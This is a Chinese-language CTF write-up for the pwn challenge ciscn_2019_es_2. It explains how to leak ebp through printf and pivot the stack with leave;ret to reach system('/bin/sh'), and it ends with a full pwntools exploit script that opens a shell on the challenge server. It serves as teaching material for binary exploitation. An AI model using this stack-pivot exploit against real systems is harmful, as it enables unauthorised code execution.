ciscn_2019_es_2
0x01
32位开NX,有system函数,但是需要传入binsh。
然而,栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供我们进行布局。因此,在只有 ebp 与 ret 能被篡改的条件下可尝试使用栈迁移。
程序存在leave ret指令,并且存在system函数可执行
而binsh则需要在栈上传入
So,我们最终要将 esp(与 ebp)劫持到当前栈的另一区域上,以完成传统栈溢出payload的实施
在本题中,劫持目标地址即为缓冲区变量 s 的起始地址
0x02
第一步,泄露出ebp,通过ebp+偏移量的方法计算栈上地址
printf函数在未遇到"\x00"时会一直输出,可以用来泄露出ebp的值
因为栈上地址间的相对位置是确定的,所以我们可以通过第二次输入的位置和泄露的ebp地址的偏移来定位我们的目标地址
在第二次输入read函数返回处下断点调试,计算可得泄露ebp与缓冲区起始位置相距0x38
第二步 栈迁移
精心构造栈上的布局来实现栈迁移
0x03
此处盗图,已标明
画栈图有助于理解整个流程
整个长条表示read读入的字节长度0x30,old_ebp表示泄露的ebp,减去0x38指向的就是变量s的起始位置,返回地址被覆盖为leav_ret的地址。
第一次自带的leave指令执行后,ebp的值为old_ebp - 0x38 ,esp指向篡改的返回地址leave_ret;接着执行ret指令pop eip再一次执行leave ret
第二次leave指令执行后,esp指向ebp+4也就是图中'aaaa'的下一位,ebp的值仍为old_ebp - 0x38 ;此时已经完成栈迁移。接下来ret指令将ebp+4弹入eip执行,所以在aaaa之后的地址需要放置我们的system函数和binsh
binsh和其地址都可以在迁移过后的栈上布局
0x04
exp
from pwn import *
p = remote("node4.buuoj.cn", 28160)
system_addr = 0x08048400
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret
p.sendline(payload2)
p.interactive()
标签:ciscn,ret,2019,leave,地址,ebp,payload2,0x38,es
From: https://www.cnblogs.com/imarch22/p/17613880.html